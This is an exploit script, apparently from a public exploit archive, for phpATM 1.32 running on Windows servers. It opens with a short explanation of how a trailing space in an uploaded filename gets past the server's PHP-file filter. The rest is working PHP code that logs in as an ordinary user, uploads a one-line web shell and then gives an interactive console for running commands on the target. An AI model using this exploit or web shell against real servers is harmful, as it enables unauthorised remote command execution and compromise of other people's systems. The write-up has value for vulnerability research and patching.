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phpATM 1.32 - Arbitrary File Upload / Remote Command Execution (Windows Servers)
<?php /* Exploit Title : "phpATM <= 1.32 Remote Command Execution (Shell Upload) on Windows Servers" Date : 17/06/2016 Author : Paolo Massenio - pmassenio[AT]gmail Vendor : phpATM - http://phpatm.org/ Version : <= 1.32 Tested on : Windows 10 with XAMPP __PoF__ "phpATM is the acronym for PHP Advanced Transfer Manager and is a free, open source, PHP based Upload and Download manager. But unlike most other of its kind it stores the data in flat text files and therefore does not require a database like MySQL installed on the web server." The bugged code is in the upload function. Generally phpATM lets you to register, and then upload some files (no admin privileges required). The hacking prevention is setted up by a regular expression to avoid .php files upload: ----index.php---- [...] 1544 // Try if file exists Or file is script 1545 if (file_exists("$destination/$userfile_name") || 1546 eregi($rejectedfiles, $userfile_name) || <--- here the regex [...] ----------------- ----conf.php---- [...] 307 $rejectedfiles = "^index\.|\.desc$|\.fdesc$|\.dlcnt$|\.vcnt$|\.php$|\.php\..*|\.php3$|\.php3\..*|\.cgi\..*|\.cgi$|\.pl$\.pl\..*|\.php4$|\.ns|\.inc$|\.php5"; [...] ---------------- So if we can upload a file with a space at the end, like this: "shell.php ", and the file system is running under Microsoft Windows, we can bypass the eregi, reaching the target to upload a php script file(like a shell)! The basic requirement is that the server is a Windows based server! You can upload the shell using a local proxy, like burp suite, or use the exploit below. */ if(!isset($argv[1]) && !isset($argv[2]) && !isset($argv[3])){ printInfo(); exit; } echo "[+] OK trying to get the PHPSESSID.\n"; $sessid = getPhpsessid($argv[1],$argv[2],$argv[3]); echo "[+] PHPSESSID for user '".$argv[2]."' grabbed (".$sessid.")\n"; echo "[+] trying to upload the shell.\n"; $shellname = uploadShell($argv[1],$sessid); echo "[+] OK shell is here: ".$argv[0]."/files/".trim($shellname)."?cmd=command\n\n"; echo "[*] Do you want to run an interactive shell ? [Y/N] "; $line = fgets(STDIN); if(trim($line) == 'Y'){ runConsole($argv[1],$shellname); } echo "[+] bye\n"; function printInfo(){ $intro = "[*] phpATM <= 1.32 Remote Command Execution (Shell Upload) on Windows Servers\n". "[*] Founded and coded by Paolo Massenio\n". "[***] The basic requirement is that the server is a Windows based server!\n". "[*] usage: php ".$argv[0]." server username password\n". "[*] Where:\n". "[*] server is the server with the correct path to phpATM\n". "[*] username and password are the credentials for the user with 'NORMAL USER' privileges\n". "[*] cmd is the command you want to execute (OPTIONAL)\n". "[*] e.g. : php ".$argv[0]." http://site.com/phpATM/ test test\n"; echo $intro; } function parseHeaders( $headers ) { $head = array(); foreach( $headers as $k=>$v ) { $t = explode( ':', $v, 2 ); if( isset( $t[1] ) ) $head[ trim($t[0]) ] = trim( $t[1] ); else { $head[] = $v; if( preg_match( "#HTTP/[0-9\.]+\s+([0-9]+)#",$v, $out ) ) $head['reponse_code'] = intval($out[1]); } } return $head; } function getPhpsessid($server,$user,$pass){ $url = $server.'/login.php'; $data = array('action' => 'userlogin', 'user_name' => $user, 'user_pass' => $pass, 'Submit' => 'Enter'); $options = array( 'http' => array( 'header' => "Content-type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($data) ) ); $result = file_get_contents($url, false, stream_context_create($options)); $r_header = parseHeaders($http_response_header); if ($result === FALSE) { die("[-] Error during request. Check if your connection is up or if you entered the correct name of the server."); } if(!isset($r_header['Location'])){ die("[-] You didn't entered a correct pair user/password."); } if(strpos($r_header['Server'],'Win') === false){ die("[-] The server isn't running on Windows. Can't run the exploit."); } $sessid = trim(substr(strstr($r_header['Location'],'PHPSESSID'),10)); return $sessid; } function uploadShell($server,$phpsessid){ $MULTIPART_BOUNDARY= '--------------------------'.microtime(true); $shellname = "0x".rand()."_gh0st.php "; //notice the space after .php $header = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0\r\n"; $header .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; $header .="Accept-Encoding: gzip, deflate\r\n"; $header .= "Cookie: PHPSESSID=$phpsessid\r\n"; $header .="Connection: close\r\n"; $header .= "Content-Type: multipart/form-data; boundary=$MULTIPART_BOUNDARY"; $content = "--$MULTIPART_BOUNDARY\r\n". "Content-Disposition: form-data; name=\"action\"\r\n\r\n". "upload\r\n"; $content .= "--$MULTIPART_BOUNDARY\r\n". "Content-Disposition: form-data; name=\"directory\"\r\n\r\n". "\r\n"; $content .= "--$MULTIPART_BOUNDARY\r\n". "Content-Disposition: form-data; name=\"order\"\r\n\r\n". "nom\r\n"; $content .= "--$MULTIPART_BOUNDARY\r\n". "Content-Disposition: form-data; name=\"direction\"\r\n\r\n". "0\r\n"; $content .= "--$MULTIPART_BOUNDARY\r\n". "Content-Disposition: form-data; name=\"userfile\"; filename=\"$shellname\"\r\n". "Content-Type: application/octet-stream\r\n\r\n". "<?php exec(\$_GET['cmd']); ?>\r\n"; $content .= "--$MULTIPART_BOUNDARY\r\n". "Content-Disposition: form-data; name=\"description\"\r\n\r\n". "\r\n"; $content .= "--$MULTIPART_BOUNDARY--\r\n"; $options = array( 'http' => array( 'method' => 'POST', 'header' => $header, 'content' => $content, ) ); $url = $server.'/index.php?'; $result = file_get_contents($url, false, stream_context_create($options)); $r_header = parseHeaders($http_response_header); if ($result === FALSE) { die("[-] Error during request. Check if your connection is up or if you entered the correct name of the server."); } if(!isset($r_header['reponse_code']) && intval($r_header['reponse_code']) != 200){ die("[-] Error during upload."); } return $shellname; } function runConsole($server,$shellname){ while(1){ echo "Insert cmd ('exit' to quit) > "; $cmd = fgets(STDIN); if(trim($cmd) == 'exit' ) die("[+] bye\n"); $query = $server."/files/".trim($shellname)."?cmd=".trim($cmd); $result = file_get_contents($query); echo $result."\n"; } } ?> # 0day.today [2024-05-20] #